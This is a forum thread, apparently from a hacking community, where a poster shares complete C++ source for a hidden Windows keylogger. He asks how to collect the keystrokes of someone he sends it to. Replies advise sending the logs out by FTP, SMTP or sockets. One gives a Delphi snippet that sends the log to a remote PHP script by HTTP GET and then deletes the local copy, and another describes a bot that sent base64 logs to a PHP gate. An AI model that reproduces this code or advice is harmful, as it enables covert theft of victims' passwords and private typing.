Author Topic: [C++]KeyLogger(simple help)  (Read 15786 times)

0 Members and 1 Guest are viewing this topic.

Offline Pachelbel

  • /dev/null
  • *
  • Posts: 12
  • Cookies: 0
    • View Profile
[C++]KeyLogger(simple help)
« on: May 04, 2012, 01:19:07 am »
Hi guys, well after reading more about Win APIs i decided to learn how a simple keylogger work and i learned the function of every line in the code that i wrote. The simple keylogger that i wrote is in C++ and i did it in CodeBlocks, i compiled it and it works fine.But i got a problem.... the keylogger works and creates a log.txt file in C:\\ where the keys will be stored. That's cool yeah, but i want to send it to someone for example and it will create this log.txt file in his computer so i cant see the things inside the file. I want your help guys to add some code so it creates somekind of file in my computer where the keys would be sent so i can check all the info inside.

here is the code:
Code: (cpp) [Select]
// KeyLogger por Lucas.... MixMix0305 !!!!!!!
// (WORKING!)


#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;

int main()
{
    //Variable que determinara cuando cerrar el keylogger...
    bool aprete = true;

    //Creamos y abrimos el fichero txt para escribir en el...
    ofstream log;
    log.open("C:\\log.txt", ofstream::out);

    //SI ocurre algun error con el archivo
    if(log.fail())
    {
        cout << "Error al abrir archivo log.txt en directorio raiz" << endl;
    }

    //Ocultamos la ventanita (consola)
    HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
    ShowWindow(ocultar,NULL);

    //Inicia el ciclo
    while(aprete)
    {
        //Cuando se apriete una de las teclas, escribimos en el archivo de texto la tecla pulsada...
        if (GetAsyncKeyState(VK_SPACE) == -32767){
        log << " ";
        }
        if (GetAsyncKeyState('A') == -32767){
        log << "A";
        }
        if (GetAsyncKeyState('B') == -32767){
        log << "B";
        }
        if (GetAsyncKeyState('C') == -32767){
        log << "C";
        }
        if (GetAsyncKeyState('D') == -32767){
        log << "D";
        }
        if (GetAsyncKeyState('E') == -32767){
        log << "E";
        }
        if (GetAsyncKeyState('F') == -32767){
        log << "F";
        }
        if (GetAsyncKeyState('G') == -32767){
        log << "G";
        }
        if (GetAsyncKeyState('H') == -32767){
        log << "H";
        }
        if (GetAsyncKeyState('I') == -32767){
        log << "I";
        }
        if (GetAsyncKeyState('J') == -32767){
        log << "J";
        }
        if (GetAsyncKeyState('K') == -32767){
        log << "K";
        }
        if (GetAsyncKeyState('L') == -32767){
        log << "L";
        }
        if (GetAsyncKeyState('M') == -32767){
        log << "M";
        }
        if (GetAsyncKeyState('N') == -32767){
        log << "N";
        }
        if (GetAsyncKeyState(VK_CAPITAL) == -32767){
        log << " Mayus-";
        }
        if (GetAsyncKeyState(VK_BACK) == -32767){
        log << " BACKSPACE ";
        }
        if (GetAsyncKeyState('O') == -32767){
        log << "O";
        }
        if (GetAsyncKeyState('P') == -32767){
        log << "P";
        }
        if (GetAsyncKeyState('Q') == -32767){
        log << "Q";
        }
        if (GetAsyncKeyState('R') == -32767){
        log << "R";
        }
        if (GetAsyncKeyState('S') == -32767){
        log << "S";
        }
        if (GetAsyncKeyState('T') == -32767){
        log << "T";
        }
        if (GetAsyncKeyState('U') == -32767){
        log << "U";
        }
        if (GetAsyncKeyState('V') == -32767){
        log << "V";
        }
        if (GetAsyncKeyState('W') == -32767){
        log << "W";
        }
        if (GetAsyncKeyState('X') == -32767){
        log << "X";
        }
        if (GetAsyncKeyState('Y') == -32767){
        log << "Y";
        }
        if (GetAsyncKeyState('Z') == -32767){
        log << "Z";
        }
        if (GetAsyncKeyState(VK_RETURN) == -32767){
        log << endl;
        }
        if (GetAsyncKeyState('1') == -32767){
        log << "1";
        }
        if (GetAsyncKeyState('2') == -32767){
        log << "2";
        }
        if (GetAsyncKeyState('3') == -32767){
        log << "3";
        }
        if (GetAsyncKeyState('4') == -32767){
        log << "4";
        }
        if (GetAsyncKeyState('5') == -32767){
        log << "5";
        }
        if (GetAsyncKeyState('6') == -32767){
        log << "6";
        }
        if (GetAsyncKeyState('7') == -32767){
        log << "7";
        }
        if (GetAsyncKeyState('8') == -32767){
        log << "8";
        }
        if (GetAsyncKeyState('9') == -32767){
        log << "9";
        }
        if (GetAsyncKeyState(0) == -32767){
        log << "0";
        }
        if (GetAsyncKeyState(VK_LSHIFT) == -32767){
        log << " SHIFT-";
        }
        if (GetAsyncKeyState(VK_MENU) == -32767){
        log << " ALT-";
        }
        if (GetAsyncKeyState(VK_F7) == -32767){
        ShowWindow(ocultar,1); // Si aprietan F7 se detiene el keylogger...
        aprete = false;
        }
    }

    //Cerramos el archivo log.txt
    log.close();

    //Una boludes para salir del programa..........
    //cout << "----------------------------------" << endl << "ARCHIVO log.txt CREADO CON EXITO!" << endl;

    //system("pause");
}

NOTE
Please use the CODE tags, as well as the advanced tags code=cpp in brackets []
« Last Edit: May 04, 2012, 02:18:53 am by iTpHo3NiX »

Offline daedalus

  • /dev/null
  • *
  • Posts: 13
  • Cookies: 2
    • View Profile
Re: [C++]KeyLogger(simple help)
« Reply #1 on: May 04, 2012, 01:49:10 am »
Quote
but i want to send it to someone for example and it will create this log.txt file in his computer so i cant see the things inside the file

I'm not really sure what that means. Do you want to send the logfile to another computer offsite?

Offline Pachelbel

  • /dev/null
  • *
  • Posts: 12
  • Cookies: 0
    • View Profile
Re: [C++]KeyLogger(simple help)
« Reply #2 on: May 04, 2012, 01:55:53 am »
Sorry for my bad English it isnt my main language, what i was trying to say is that when i compile and run the keylogger in my computer, this creates a log.txt file where the keys are stored, if i send this to someone will do the same in his computer but i cant access to that file because then i would have to get into his computer, i want to know if there is any kind of code that send the keys to a file BUT in my computer from another one.

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: [C++]KeyLogger(simple help)
« Reply #3 on: May 04, 2012, 02:16:53 am »
ftp it to a server (you can set one up on your comp even) and just send the log.txt via ftp
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry

Offline Pachelbel

  • /dev/null
  • *
  • Posts: 12
  • Cookies: 0
    • View Profile
Re: [C++]KeyLogger(simple help)
« Reply #4 on: May 04, 2012, 02:23:34 am »
@iTpHo3NiX:
FTP? so i have to transfer the file from his computer to mine via this TCP thing... Can you explain me more about it??? I'm actually a newbie but learning fast, How do i include the file transfer protocol to my code?? or it doens't work that way?? any explanation would be really usefull , Thanks!


EDIT:
@iTpHo3NiX:
Forget about the explanation, i just read the FTP definition and how it works , i will use any FTP client web based to transfer the .txt file with the information inside, Thank you very much for the FTP suggestion, i joined this community some days ago iam a newbie but i cant believe all the things about programming and network iam learning , every single sec i learn something new and i already have a base in C++, as you can see iam working with Win APIs right now :) , Thank you very much.


EDIT your posts next time bro :)
« Last Edit: May 04, 2012, 08:35:31 am by Kulverstukas »

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [C++]KeyLogger(simple help)
« Reply #5 on: May 04, 2012, 08:46:36 am »
What you want to do is impossible, ok? you cannot run a virus on one computer and create files directly on another... Well it would be possible on a local network via file shares.
When I was creating a keylogger, I used a very simple and much more secure method - a POST request to a webpage on the web.

It's a very simple concept - you send the data you logged into memory via POST request to a PHP script on some host. The script writes everything to the log, you clear the buffer in your keylogger and start over. Repeat.

I can't find the PHP script anywhere, I'll give it later if I find it. My sending the log part used INDY components for Delphi, there is a version for C++ as well: http://www.indyproject.org/sockets/download/index.en.aspx

Code: [Select]
    logFile.LoadFromFile("logFile");
    deleteFile("logFile");
    URL := TIdURI.URLEncode('http://XXXX.XX.com/ish/aaa.php?a='+logFile.Text);
    http.Get(URL);
    freeAndNil(http);
    freeAndNil(logFile);

Also moved.
« Last Edit: May 04, 2012, 08:53:51 am by Kulverstukas »

Offline Pachelbel

  • /dev/null
  • *
  • Posts: 12
  • Cookies: 0
    • View Profile
Re: [C++]KeyLogger(simple help)
« Reply #6 on: May 04, 2012, 05:37:24 pm »
After reading more about FTP i realized that it could be possible but i will need to code another program, a trojan or a something like a backdoor so i can access and control victim computer remotly and enable the port 21 and disable firewalls so i can transfer the for example log.txt file to my computer so i can get all the information inside. @Kulverstukas , thanks for the suggestion.

Offline ca0s

  • VIP
  • Sir
  • *
  • Posts: 432
  • Cookies: 53
    • View Profile
    • ka0labs #
Re: [C++]KeyLogger(simple help)
« Reply #7 on: May 04, 2012, 08:22:50 pm »
Firewalls are usually permissive with outgoing connections. Which is what you want to do.
However, if you don't like port 21, you can configure your FTP server in whichever you like more.
« Last Edit: May 04, 2012, 08:23:28 pm by ca0s »

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: [C++]KeyLogger(simple help)
« Reply #8 on: May 09, 2012, 07:14:29 pm »
My iTStealer which utilized the nirsoft tools and batch I was able to FTP their information to mine. HOWEVER there is a security risk. If someone runs your program while checking outgoing connections they could possibly find your FTP details which have write permissions so that's not very good ;)

Another option would also be SMTP to email yourself the log servers. You would need to set up an SMTP server (either on your machine or on a remote web server of yours) and then code your app to connect and send the information VIA email. I'm not familiar with C++ or if its possible but I'm sure there has to be a way as bpk (Blazingsoft Perfect Keylogger) has email and ftp support.

So the 3 ways I can think of are

FTP, SMTP, local.

Now there could be another option but those are the ones I can think of
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry

Offline AB2050

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
Re: [C++]KeyLogger(simple help)
« Reply #9 on: May 11, 2012, 03:52:19 am »
Hola,

Sabes que soy un poco nuevo, si tratas de verificar que el keylogger trabaja en tu computadora como lo conviertes para poder usarlo sin un compiler?

AB2050

Offline Pachelbel

  • /dev/null
  • *
  • Posts: 12
  • Cookies: 0
    • View Profile
Re: [C++]KeyLogger(simple help)
« Reply #10 on: May 11, 2012, 04:56:56 am »
Hola AB2050,
yo tambien soy nuevo en este foro y hace unos meses empeze a estudiar el lenguaje de programacion que yo eleji para empezar, en mi caso C++, como veras hize este simple keyloger y necesitaba algo de ayuda para unas cosillas, pero lo que me dices de usarlo sin un compiler no tiene sentido para mi, el keylogger lo he probado y funciona hasta el momento cada linea de codigo escrita. Saludos!

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [C++]KeyLogger(simple help)
« Reply #11 on: May 11, 2012, 11:02:24 am »
This is an English forum, so it is REQUIRED to speak English so that everyone understands. Please translate and edit your posts.

Offline Pachelbel

  • /dev/null
  • *
  • Posts: 12
  • Cookies: 0
    • View Profile
Re: [C++]KeyLogger(simple help)
« Reply #12 on: May 13, 2012, 02:24:20 am »
Could be possible to add the library "winsock.h" to this little program and start programming a client-service code to share information betwen one computer and another??? and i was wondering if there are functions in C++ to get IP adress and ports , because that's what i need define the socket right? Local and remote IP and some ports.

Offline ca0s

  • VIP
  • Sir
  • *
  • Posts: 432
  • Cookies: 53
    • View Profile
    • ka0labs #
Re: [C++]KeyLogger(simple help)
« Reply #13 on: May 13, 2012, 03:33:03 am »
La verdad es que es de mala educación hablar castellano aquí. Así que la respuesta va en inglés.

If you want to receive logs, just code a simple server which listens at XXXX port and receives a byte stream with the keys. Define a simple custom protocol, like [(LONG)LENGTH][(BYTE{S})STROKES] and start sending/receiving.

I have never done it that way tho. I coded an HTTP bot with a keylogger (using the same leeched keylogger code than you btw), and sent logs in b64 to an http server. So I just had to code a PHP gate and save logs in a mysql server.

Look for examples of socket + connect. Simple networking is easy in C.
« Last Edit: May 13, 2012, 03:33:39 am by ca0s »

Offline Pachelbel

  • /dev/null
  • *
  • Posts: 12
  • Cookies: 0
    • View Profile
Re: [C++]KeyLogger(simple help)
« Reply #14 on: May 13, 2012, 03:39:47 am »
Alright ca0s, I'll get more info about sockets and start reading, late at night I'll be probably coding the sockets. Thank you very much for your suggestion and it's cool to find some people here that speak Spanish , gracias y adios!